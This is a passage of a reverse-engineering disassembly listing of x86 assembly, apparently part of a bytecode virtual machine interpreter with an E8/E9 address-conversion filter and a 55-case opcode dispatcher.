3C000h mov edx, [eax] mov eax, [eax+1Ch] jge short loc_9B3006 cmp ecx, 4 jl short loc_9B3006 cmp esi, 2 setz bl add ecx, 0FFFFFFFCh add bl, 0E8h cmp ecx, edi mov [ebp+var_20], edi jbe short loc_9B3006 mov esi, eax loc_9B2FC9: ; CODE XREF: sub_9B2B17+4EDj mov al, [edx] inc edx inc [ebp+var_20] inc esi cmp al, 0E8h jz short loc_9B2FD8 cmp al, bl jnz short loc_9B3001 loc_9B2FD8: ; CODE XREF: sub_9B2B17+4BBj mov eax, [edx] test eax, eax jge short loc_9B2FEC lea edi, [esi+eax] test edi, edi jl short loc_9B2FF7 add eax, 1000000h jmp short loc_9B2FF5 ; --------------------------------------------------------------------------- loc_9B2FEC: ; CODE XREF: sub_9B2B17+4C5j cmp eax, 1000000h jge short loc_9B2FF7 sub eax, esi loc_9B2FF5: ; CODE XREF: sub_9B2B17+4D3j mov [edx], eax loc_9B2FF7: ; CODE XREF: sub_9B2B17+4CCj ; sub_9B2B17+4DAj add [ebp+var_20], 4 add edx, 4 add esi, 4 loc_9B3001: ; CODE XREF: sub_9B2B17+4BFj cmp [ebp+var_20], ecx jb short loc_9B2FC9 loc_9B3006: ; CODE XREF: sub_9B2B17+41j ; sub_9B2B17+54j ... pop ebx loc_9B3007: ; CODE XREF: sub_9B2B17+Ej pop edi pop esi leave retn sub_9B2B17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B300B proc near ; CODE XREF: sub_9B3713+96p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] lea eax, [eax+eax*4] push ebx lea eax, [edx+eax*8] cmp edx, eax mov ebx, edx push esi mov [ebp+var_4], 17D7840h mov [ebp+var_8], ebx mov [ebp+var_10], eax jbe short loc_9B303B loc_9B3032: ; CODE XREF: sub_9B300B+32j ; sub_9B300B+2A0j ... xor eax, eax loc_9B3034: ; CODE XREF: sub_9B300B+626j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9B3038: ; CODE XREF: sub_9B300B+618j mov edx, [ebp+arg_0] loc_9B303B: ; CODE XREF: sub_9B300B+25j cmp ebx, edx jb short loc_9B3032 lea eax, [ebx+8] push edi call sub_9B2A6A mov esi, eax lea eax, [ebx+18h] push edi call sub_9B2A6A pop ecx pop ecx mov ecx, [ebx] cmp ecx, 36h ; switch 55 cases ja loc_9B3617 ; default ; jumptable 009B3060 case 39 jmp ds:off_9B3637[ecx*4] ; switch jump loc_9B3067: ; DATA XREF: .text:off_9B3637o cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 0 jz short loc_9B3075 ; jumptable 009B3060 case 41 movzx eax, byte ptr [eax] jmp loc_9B3544 ; --------------------------------------------------------------------------- loc_9B3075: ; CODE XREF: sub_9B300B+55j ; sub_9B300B+60j ; DATA XREF: ... mov eax, [eax] ; jumptable 009B3060 case 41 loc_9B3077: ; CODE XREF: sub_9B300B+32Cj ; sub_9B300B+4ACj ... mov [esi], eax jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B307E: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov al, [eax] ; jumptable 009B3060 case 40 jmp loc_9B3544 ; --------------------------------------------------------------------------- loc_9B3085: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 1 test ecx, ecx jz short loc_9B3091 movzx esi, byte ptr [esi] jmp short loc_9B3093 ; --------------------------------------------------------------------------- loc_9B3091: ; CODE XREF: sub_9B300B+7Fj mov esi, [esi] loc_9B3093: ; CODE XREF: sub_9B300B+84j test ecx, ecx jz short loc_9B309C movzx eax, byte ptr [eax] jmp short loc_9B309E ; --------------------------------------------------------------------------- loc_9B309C: ; CODE XREF: sub_9B300B+8Aj mov eax, [eax] loc_9B309E: ; CODE XREF: sub_9B300B+8Fj mov ecx, esi sub ecx, eax loc_9B30A2: ; CODE XREF: sub_9B300B+E0j jnz short loc_9B30AC loc_9B30A4: ; CODE XREF: sub_9B300B:loc_9B3258j push 2 pop eax jmp loc_9B3263 ; --------------------------------------------------------------------------- loc_9B30AC: ; CODE XREF: sub_9B300B:loc_9B30A2j cmp esi, ecx sbb eax, eax neg eax and ecx, 80000000h or eax, ecx jmp loc_9B3263 ; --------------------------------------------------------------------------- loc_9B30BF: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o movzx ecx, byte ptr [esi] ; jumptable 009B3060 case 42 movzx edx, byte ptr [eax] mov eax, ecx sub eax, edx jnz short loc_9B30D0 push 2 pop ecx jmp short loc_9B30DD ; --------------------------------------------------------------------------- loc_9B30D0: ; CODE XREF: sub_9B300B+BEj cmp ecx, eax sbb ecx, ecx neg ecx and eax, 80000000h or ecx, eax loc_9B30DD: ; CODE XREF: sub_9B300B+C3j mov [edi+24h], ecx jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B30E5: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov esi, [esi] ; jumptable 009B3060 case 43 mov ecx, esi sub ecx, [eax] jmp short loc_9B30A2 ; --------------------------------------------------------------------------- loc_9B30ED: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 2 test ecx, ecx jz short loc_9B30F9 movzx edx, byte ptr [esi] jmp short loc_9B30FB ; --------------------------------------------------------------------------- loc_9B30F9: ; CODE XREF: sub_9B300B+E7j mov edx, [esi] loc_9B30FB: ; CODE XREF: sub_9B300B+ECj test ecx, ecx jz short loc_9B3104 movzx eax, byte ptr [eax] jmp short loc_9B3106 ; --------------------------------------------------------------------------- loc_9B3104: ; CODE XREF: sub_9B300B+F2j mov eax, [eax] loc_9B3106: ; CODE XREF: sub_9B300B+F7j lea ecx, [eax+edx] test ecx, ecx jz loc_9B3229 cmp ecx, edx jmp short loc_9B314C ; --------------------------------------------------------------------------- loc_9B3115: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov al, [eax] ; jumptable 009B3060 case 44 add [esi], al jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B311E: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, [eax] ; jumptable 009B3060 case 45 add [esi], eax jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3127: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 3 test ecx, ecx jz short loc_9B3133 movzx edx, byte ptr [esi] jmp short loc_9B3135 ; --------------------------------------------------------------------------- loc_9B3133: ; CODE XREF: sub_9B300B+121j mov edx, [esi] loc_9B3135: ; CODE XREF: sub_9B300B+126j test ecx, ecx jz short loc_9B313E movzx eax, byte ptr [eax] jmp short loc_9B3140 ; --------------------------------------------------------------------------- loc_9B313E: ; CODE XREF: sub_9B300B+12Cj mov eax, [eax] loc_9B3140: ; CODE XREF: sub_9B300B+131j mov ecx, edx sub ecx, eax jz loc_9B3229 cmp edx, ecx loc_9B314C: ; CODE XREF: sub_9B300B+108j sbb eax, eax mov edx, ecx neg eax and edx, 80000000h or eax, edx jmp loc_9B33F7 ; --------------------------------------------------------------------------- loc_9B315F: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov al, [eax] ; jumptable 009B3060 case 46 sub [esi], al jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3168: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, [eax] ; jumptable 009B3060 case 47 sub [esi], eax jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3171: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 2 ; jumptable 009B3060 case 4 jmp loc_9B3281 ; --------------------------------------------------------------------------- loc_9B317A: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 2 ; jumptable 009B3060 case 5 jmp loc_9B3293 ; --------------------------------------------------------------------------- loc_9B3183: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 6 test ecx, ecx jz short loc_9B318F movzx eax, byte ptr [esi] jmp short loc_9B3191 ; --------------------------------------------------------------------------- loc_9B318F: ; CODE XREF: sub_9B300B+17Dj mov eax, [esi] loc_9B3191: ; CODE XREF: sub_9B300B+182j inc eax jmp short loc_9B31BA ; --------------------------------------------------------------------------- loc_9B3194: ; CODE XREF: sub_9B300B+1B1j mov [esi], eax loc_9B3196: ; CODE XREF: sub_9B300B+1B5j test eax, eax jmp loc_9B3258 ; --------------------------------------------------------------------------- loc_9B319D: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o inc byte ptr [esi] ; jumptable 009B3060 case 48 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B31A4: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o inc dword ptr [esi] ; jumptable 009B3060 case 49 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B31AB: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 7 test ecx, ecx jz short loc_9B31B7 movzx eax, byte ptr [esi] jmp short loc_9B31B9 ; --------------------------------------------------------------------------- loc_9B31B7: ; CODE XREF: sub_9B300B+1A5j mov eax, [esi] loc_9B31B9: ; CODE XREF: sub_9B300B+1AAj dec eax loc_9B31BA: ; CODE XREF: sub_9B300B+187j test ecx, ecx jz short loc_9B3194 mov [esi], al jmp short loc_9B3196 ; --------------------------------------------------------------------------- loc_9B31C2: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o dec byte ptr [esi] ; jumptable 009B3060 case 50 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B31C9: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o dec dword ptr [esi] ; jumptable 009B3060 case 51 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B31D0: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 9 test ecx, ecx jz short loc_9B31DC movzx edx, byte ptr [esi] jmp short loc_9B31DE ; --------------------------------------------------------------------------- loc_9B31DC: ; CODE XREF: sub_9B300B+1CAj mov edx, [esi] loc_9B31DE: ; CODE XREF: sub_9B300B+1CFj test ecx, ecx jz short loc_9B31E7 movzx eax, byte ptr [eax] jmp short loc_9B31E9 ; --------------------------------------------------------------------------- loc_9B31E7: ; CODE XREF: sub_9B300B+1D5j mov eax, [eax] loc_9B31E9: ; CODE XREF: sub_9B300B+1DAj xor eax, edx jmp short loc_9B3225 ; --------------------------------------------------------------------------- loc_9B31ED: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 10 test ecx, ecx jz short loc_9B31F9 movzx edx, byte ptr [esi] jmp short loc_9B31FB ; --------------------------------------------------------------------------- loc_9B31F9: ; CODE XREF: sub_9B300B+1E7j mov edx, [esi] loc_9B31FB: ; CODE XREF: sub_9B300B+1ECj test ecx, ecx jz short loc_9B3204 movzx eax, byte ptr [eax] jmp short loc_9B3206 ; --------------------------------------------------------------------------- loc_9B3204: ; CODE XREF: sub_9B300B+1F2j mov eax, [eax] loc_9B3206: ; CODE XREF: sub_9B300B+1F7j and eax, edx jmp short loc_9B3225 ; --------------------------------------------------------------------------- loc_9B320A: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 11 test ecx, ecx jz short loc_9B3216 movzx edx, byte ptr [esi] jmp short loc_9B3218 ; --------------------------------------------------------------------------- loc_9B3216: ; CODE XREF: sub_9B300B+204j mov edx, [esi] loc_9B3218: ; CODE XREF: sub_9B300B+209j test ecx, ecx jz short loc_9B3221 movzx eax, byte ptr [eax] jmp short loc_9B3223 ; --------------------------------------------------------------------------- loc_9B3221: ; CODE XREF: sub_9B300B+20Fj mov eax, [eax] loc_9B3223: ; CODE XREF: sub_9B300B+214j or eax, edx loc_9B3225: ; CODE XREF: sub_9B300B+1E0j ; sub_9B300B+1FDj mov ecx, eax jnz short loc_9B3231 loc_9B3229: ; CODE XREF: sub_9B300B+100j ; sub_9B300B+139j ... push 2 pop eax jmp loc_9B33F7 ; --------------------------------------------------------------------------- loc_9B3231: ; CODE XREF: sub_9B300B+21Cj mov eax, ecx and eax, 80000000h jmp loc_9B33F7 ; --------------------------------------------------------------------------- loc_9B323D: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 12 test ecx, ecx jz short loc_9B3249 movzx esi, byte ptr [esi] jmp short loc_9B324B ; --------------------------------------------------------------------------- loc_9B3249: ; CODE XREF: sub_9B300B+237j mov esi, [esi] loc_9B324B: ; CODE XREF: sub_9B300B+23Cj test ecx, ecx jz short loc_9B3254 movzx eax, byte ptr [eax] jmp short loc_9B3256 ; --------------------------------------------------------------------------- loc_9B3254: ; CODE XREF: sub_9B300B+242j mov eax, [eax] loc_9B3256: ; CODE XREF: sub_9B300B+247j and eax, esi loc_9B3258: ; CODE XREF: sub_9B300B+18Dj jz loc_9B30A4 and eax, 80000000h loc_9B3263: ; CODE XREF: sub_9B300B+9Cj ; sub_9B300B+AFj mov [edi+24h], eax jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B326B: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+27h], 80h ; jumptable 009B3060 case 13 jmp short loc_9B3281 ; --------------------------------------------------------------------------- loc_9B3271: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+27h], 80h ; jumptable 009B3060 case 14 jmp short loc_9B3293 ; --------------------------------------------------------------------------- loc_9B3277: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 1 ; jumptable 009B3060 case 15 jmp short loc_9B3281 ; --------------------------------------------------------------------------- loc_9B327D: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 3 ; jumptable 009B3060 case 16 loc_9B3281: ; CODE XREF: sub_9B300B+16Aj ; sub_9B300B+264j ... jz loc_9B3617 ; default ; jumptable 009B3060 case 39 jmp short loc_9B3299 ; jumptable 009B3060 case 8 ; --------------------------------------------------------------------------- loc_9B3289: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 3 ; jumptable 009B3060 case 17 jmp short loc_9B3293 ; --------------------------------------------------------------------------- loc_9B328F: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o test byte ptr [edi+24h], 1 ; jumptable 009B3060 case 18 loc_9B3293: ; CODE XREF: sub_9B300B+173j ; sub_9B300B+26Aj ... jnz loc_9B3617 ; default ; jumptable 009B3060 case 39 loc_9B3299: ; CODE XREF: sub_9B300B+55j ; sub_9B300B+27Cj ; DATA XREF: ... mov esi, [esi] ; jumptable 009B3060 case 8 cmp esi, [ebp+arg_4] jnb loc_9B362E dec [ebp+var_4] cmp [ebp+var_4], 0 jle loc_9B3032 lea eax, [esi+esi*4] lea ebx, [edx+eax*8] jmp loc_9B361D ; --------------------------------------------------------------------------- loc_9B32BC: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o add dword ptr [edi+20h], 0FFFFFFFCh ; jumptable 009B3060 case 19 mov edx, [esi] jmp loc_9B3484 ; --------------------------------------------------------------------------- loc_9B32C7: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, [edi+20h] ; jumptable 009B3060 case 20 mov ecx, [edi] and eax, 3FFFFh mov eax, [eax+ecx] mov [esi], eax add dword ptr [edi+20h], 4 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B32DF: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, ebx ; jumptable 009B3060 case 21 sub eax, [ebp+arg_0] push 28h cdq pop ebx idiv ebx add dword ptr [edi+20h], 0FFFFFFFCh mov ecx, [edi+20h] mov edx, [edi] and ecx, 3FFFFh inc eax mov [ecx+edx], eax mov esi, [esi] cmp esi, [ebp+arg_4] jnb loc_9B362E dec [ebp+var_4] cmp [ebp+var_4], 0 jle loc_9B3032 mov ecx, [ebp+arg_0] lea eax, [esi+esi*4] lea ebx, [ecx+eax*8] jmp loc_9B361D ; --------------------------------------------------------------------------- loc_9B3323: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 23 jz short loc_9B3333 movzx eax, byte ptr [esi] not al jmp loc_9B3544 ; --------------------------------------------------------------------------- loc_9B3333: ; CODE XREF: sub_9B300B+31Cj mov eax, [esi] not eax jmp loc_9B3077 ; --------------------------------------------------------------------------- loc_9B333C: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ebx, [ebx+4] ; jumptable 009B3060 case 24 test ebx, ebx jz short loc_9B3348 movzx eax, byte ptr [esi] jmp short loc_9B334A ; --------------------------------------------------------------------------- loc_9B3348: ; CODE XREF: sub_9B300B+336j mov eax, [esi] loc_9B334A: ; CODE XREF: sub_9B300B+33Bj test ebx, ebx jz short loc_9B3353 movzx ecx, byte ptr [esi] jmp short loc_9B3355 ; --------------------------------------------------------------------------- loc_9B3353: ; CODE XREF: sub_9B300B+341j mov ecx, [esi] loc_9B3355: ; CODE XREF: sub_9B300B+346j mov edx, eax shl edx, cl test edx, edx jnz short loc_9B3362 push 2 pop ebx jmp short loc_9B336A ; --------------------------------------------------------------------------- loc_9B3362: ; CODE XREF: sub_9B300B+350j mov ebx, edx and ebx, 80000000h loc_9B336A: ; CODE XREF: sub_9B300B+355j dec ecx shl eax, cl shr eax, 1Fh jmp short loc_9B33C5 ; --------------------------------------------------------------------------- loc_9B3372: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ebx, [ebx+4] ; jumptable 009B3060 case 25 test ebx, ebx jz short loc_9B337E movzx eax, byte ptr [esi] jmp short loc_9B3380 ; --------------------------------------------------------------------------- loc_9B337E: ; CODE XREF: sub_9B300B+36Cj mov eax, [esi] loc_9B3380: ; CODE XREF: sub_9B300B+371j test ebx, ebx jz short loc_9B3389 movzx ecx, byte ptr [esi] jmp short loc_9B338B ; --------------------------------------------------------------------------- loc_9B3389: ; CODE XREF: sub_9B300B+377j mov ecx, [esi] loc_9B338B: ; CODE XREF: sub_9B300B+37Cj mov edx, eax shr edx, cl loc_9B338F: ; CODE XREF: sub_9B300B+3AAj test edx, edx jnz short loc_9B33B7 push 2 pop ebx jmp short loc_9B33BF ; --------------------------------------------------------------------------- loc_9B3398: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ebx, [ebx+4] ; jumptable 009B3060 case 26 test ebx, ebx jz short loc_9B33A4 movzx eax, byte ptr [esi] jmp short loc_9B33A6 ; --------------------------------------------------------------------------- loc_9B33A4: ; CODE XREF: sub_9B300B+392j mov eax, [esi] loc_9B33A6: ; CODE XREF: sub_9B300B+397j test ebx, ebx jz short loc_9B33AF movzx ecx, byte ptr [esi] jmp short loc_9B33B1 ; --------------------------------------------------------------------------- loc_9B33AF: ; CODE XREF: sub_9B300B+39Dj mov ecx, [esi] loc_9B33B1: ; CODE XREF: sub_9B300B+3A2j mov edx, eax sar edx, cl jmp short loc_9B338F ; --------------------------------------------------------------------------- loc_9B33B7: ; CODE XREF: sub_9B300B+386j mov ebx, edx and ebx, 80000000h loc_9B33BF: ; CODE XREF: sub_9B300B+38Bj dec ecx shr eax, cl and eax, 1 loc_9B33C5: ; CODE XREF: sub_9B300B+365j or eax, ebx mov [edi+24h], eax mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 mov ebx, eax jmp loc_9B35CC ; --------------------------------------------------------------------------- loc_9B33D8: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o cmp dword ptr [ebx+4], 0 ; jumptable 009B3060 case 27 jz short loc_9B33E3 movzx eax, byte ptr [esi] jmp short loc_9B33E5 ; --------------------------------------------------------------------------- loc_9B33E3: ; CODE XREF: sub_9B300B+3D1j mov eax, [esi] loc_9B33E5: ; CODE XREF: sub_9B300B+3D6j neg eax mov ecx, eax jz loc_9B3229 and eax, 80000001h or eax, 1 loc_9B33F7: ; CODE XREF: sub_9B300B+14Fj ; sub_9B300B+221j ... mov [edi+24h], eax cmp dword ptr [ebx+4], 0 jz short loc_9B3407 mov [esi], cl jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3407: ; CODE XREF: sub_9B300B+3F3j mov [esi], ecx jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B340E: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o neg byte ptr [esi] ; jumptable 009B3060 case 52 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3415: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o neg dword ptr [esi] ; jumptable 009B3060 case 53 jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B341C: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, [edi+20h] ; jumptable 009B3060 case 28 sub eax, 4 lea ecx, [edi+4] mov [ebp+var_C], 8 loc_9B342C: ; CODE XREF: sub_9B300B+439j mov ebx, [ecx] mov esi, [edi] mov edx, eax and edx, 3FFFFh add ecx, 4 sub eax, 4 dec [ebp+var_C] mov [edx+esi], ebx jnz short loc_9B342C add dword ptr [edi+20h], 0FFFFFFE0h mov ebx, [ebp+var_8] jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3452: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o lea eax, [edi+20h] ; jumptable 009B3060 case 29 mov ecx, [eax] mov [ebp+var_C], 8 loc_9B345E: ; CODE XREF: sub_9B300B+46Bj mov esi, [edi] mov edx, ecx and edx, 3FFFFh mov edx, [edx+esi] mov [eax], edx sub eax, 4 add ecx, 4 dec [ebp+var_C] jnz short loc_9B345E jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B347D: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o add dword ptr [edi+20h], 0FFFFFFFCh ; jumptable 009B3060 case 30 mov edx, [edi+24h] loc_9B3484: ; CODE XREF: sub_9B300B+2B7j mov eax, [edi+20h] mov ecx, [edi] and eax, 3FFFFh mov [eax+ecx], edx jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B3496: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov eax, [edi+20h] ; jumptable 009B3060 case 31 mov edx, [edi] mov ecx, eax and ecx, 3FFFFh mov ecx, [ecx+edx] add eax, 4 mov [edi+24h], ecx mov [edi+20h], eax jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B34B4: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o movzx eax, byte ptr [eax] ; jumptable 009B3060 case 32 jmp loc_9B3077 ; --------------------------------------------------------------------------- loc_9B34BC: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o movsx eax, byte ptr [eax] ; jumptable 009B3060 case 33 jmp loc_9B3077 ; --------------------------------------------------------------------------- loc_9B34C4: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov ecx, [ebx+4] ; jumptable 009B3060 case 34 test ecx, ecx jz short loc_9B34D0 movzx edx, byte ptr [esi] jmp short loc_9B34D2 ; --------------------------------------------------------------------------- loc_9B34D0: ; CODE XREF: sub_9B300B+4BEj mov edx, [esi] loc_9B34D2: ; CODE XREF: sub_9B300B+4C3j test ecx, ecx jz short loc_9B34DD movzx ecx, byte ptr [eax] mov [esi], cl jmp short loc_9B34E1 ; --------------------------------------------------------------------------- loc_9B34DD: ; CODE XREF: sub_9B300B+4C9j mov ecx, [eax] mov [esi], ecx loc_9B34E1: ; CODE XREF: sub_9B300B+4D0j cmp dword ptr [ebx+4], 0 jz short loc_9B34EE mov [eax], dl jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B34EE: ; CODE XREF: sub_9B300B+4DAj mov [eax], edx jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B34F5: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov edx, [ebx+4] ; jumptable 009B3060 case 35 test edx, edx jz short loc_9B3501 movzx ecx, byte ptr [esi] jmp short loc_9B3503 ; --------------------------------------------------------------------------- loc_9B3501: ; CODE XREF: sub_9B300B+4EFj mov ecx, [esi] loc_9B3503: ; CODE XREF: sub_9B300B+4F4j test edx, edx jz short loc_9B350C movzx eax, byte ptr [eax] jmp short loc_9B350E ; --------------------------------------------------------------------------- loc_9B350C: ; CODE XREF: sub_9B300B+4FAj mov eax, [eax] loc_9B350E: ; CODE XREF: sub_9B300B+4FFj imul eax, ecx test edx, edx jmp short loc_9B353E ; --------------------------------------------------------------------------- loc_9B3515: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov edx, [ebx+4] ; jumptable 009B3060 case 36 test edx, edx jz short loc_9B3521 movzx ecx, byte ptr [eax] jmp short loc_9B3523 ; --------------------------------------------------------------------------- loc_9B3521: ; CODE XREF: sub_9B300B+50Fj mov ecx, [eax] loc_9B3523: ; CODE XREF: sub_9B300B+514j test ecx, ecx jz loc_9B3617 ; default ; jumptable 009B3060 case 39 test edx, edx jz short loc_9B3534 movzx eax, byte ptr [esi] jmp short loc_9B3536 ; --------------------------------------------------------------------------- loc_9B3534: ; CODE XREF: sub_9B300B+522j mov eax, [esi] loc_9B3536: ; CODE XREF: sub_9B300B+527j xor edx, edx div ecx cmp dword ptr [ebx+4], 0 loc_9B353E: ; CODE XREF: sub_9B300B+508j jz loc_9B3077 loc_9B3544: ; CODE XREF: sub_9B300B+65j ; sub_9B300B+75j ... mov [esi], al jmp loc_9B3617 ; default ; jumptable 009B3060 case 39 ; --------------------------------------------------------------------------- loc_9B354B: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov edx, [ebx+4] ; jumptable 009B3060 case 37 test edx, edx jz short loc_9B3557 movzx ecx, byte ptr [esi] jmp short loc_9B3559 ; --------------------------------------------------------------------------- loc_9B3557: ; CODE XREF: sub_9B300B+545j mov ecx, [esi] loc_9B3559: ; CODE XREF: sub_9B300B+54Aj mov [ebp+var_8], ecx mov ecx, [edi+24h] and ecx, 1 test edx, edx jz short loc_9B356B movzx eax, byte ptr [eax] jmp short loc_9B356D ; --------------------------------------------------------------------------- loc_9B356B: ; CODE XREF: sub_9B300B+559j mov eax, [eax] loc_9B356D: ; CODE XREF: sub_9B300B+55Ej lea edx, [eax+ecx] add edx, [ebp+var_8] jnz short loc_9B357A loc_9B3575: ; CODE XREF: sub_9B300B+5A7j push 2 pop eax jmp short loc_9B35C5 ; --------------------------------------------------------------------------- loc_9B357A: ; CODE XREF: sub_9B300B+568j cmp edx, [ebp+var_8] jb short loc_9B35B9 loc_9B357F: ; CODE XREF: sub_9B300B+5ACj jnz short loc_9B3585 test ecx, ecx jnz short loc_9B35B9 loc_9B3585: ; CODE XREF: sub_9B300B:loc_9B357Fj xor ecx, ecx jmp short loc_9B35BC ; --------------------------------------------------------------------------- loc_9B3589: ; CODE XREF: sub_9B300B+55j ; DATA XREF: .text:off_9B3637o mov edx, [ebx+4] ; jumptable 009B3060 case 38 test edx, edx jz short loc_9B3595 movzx ecx, byte ptr [esi] jmp short loc_9B3597 ; --------------------------------------------------------------------------- loc_9B3595: ; CODE XREF: sub_9B300B+583j mov ecx, [esi] loc_9B3597: ; CODE XREF: sub_9B300B+588j mov [ebp+var_8], ecx mov ecx, [edi+24h] and ecx, 1 test edx, edx jz short loc_9B35A9 movzx eax, byte ptr [eax] jmp short loc_9B35AB ; --------------------------------------------------------------------------- loc_9B35A9: ; CODE XREF: sub_9B300B+597j mov eax, [eax] loc_9B35AB: ; CODE XREF: sub_9B300B+59Cj mov edx, [ebp+var_8] sub edx, eax sub edx, ecx jz short loc_9B3575 cmp edx, [ebp+var_8] jbe short loc_9B357F loc_9B35B9: ; CODE XREF: sub_9B300B+572j ; sub_9B300B+578j xor ecx, ecx inc ecx loc_9B35BC: ; CODE XREF: sub_9B300B+57Cj mov eax, edx and eax, 80000000h or eax, ecx 